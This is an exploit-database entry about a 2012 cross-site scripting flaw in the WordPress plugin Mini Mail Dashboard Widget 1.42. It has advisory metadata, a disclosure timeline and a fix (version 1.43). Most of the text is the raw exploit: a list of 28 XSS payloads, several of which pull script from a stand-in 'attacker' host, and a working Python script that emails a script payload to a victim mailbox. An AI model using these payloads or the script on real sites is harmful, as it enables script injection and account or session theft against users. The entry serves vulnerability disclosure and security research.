header-logo
Suggest Exploit
vendor:
Mini Mail Dashboard Widget
by:
loneferret
7,5
CVSS
HIGH
Cross-Site Scripting (XSS)
79
CWE
Product Name: Mini Mail Dashboard Widget
Affected Version From: 1.42
Affected Version To: 1.43
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:mini_mail_dashboard_widget
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu Server LAMP 8.04, Windows XP Pro SP3 (x86)
2012

Mini Mail Dashboard Widget XSS Vulnerability

Mini Mail Dashboard Widget version 1.42 is vulnerable to Cross-Site Scripting (XSS) attacks. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'Body' field. An attacker can exploit this vulnerability by injecting malicious JavaScript code in the 'Body' field. The malicious code will be executed in the browser of the victim when the 'View in HTML' option is clicked. This vulnerability affects all versions of Mini Mail Dashboard Widget prior to version 1.43.

Mitigation:

Upgrade to the latest version of Mini Mail Dashboard Widget (1.43) to mitigate this vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Mini Mail Dashboard Widget 
Version: 1.42
Software Download: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
14 Jul 2012: Version 1.43 released
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Extra note:
To execute the XSS, a user needs to click 'view in HTML'


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT>alert('XSS')</SCRIPT> 
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV STYLE="width: expression(alert('XSS'));">
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
8: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
9: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
10: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
11: <XSS STYLE="xss:expression(alert('XSS'))">
12: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
13: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
14: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
15: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
16: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
17: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
18: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
19: <<SCRIPT>alert("XSS");//<</SCRIPT>
20: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
21: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
22: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
25: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
26: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
27: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
28: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2
 
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)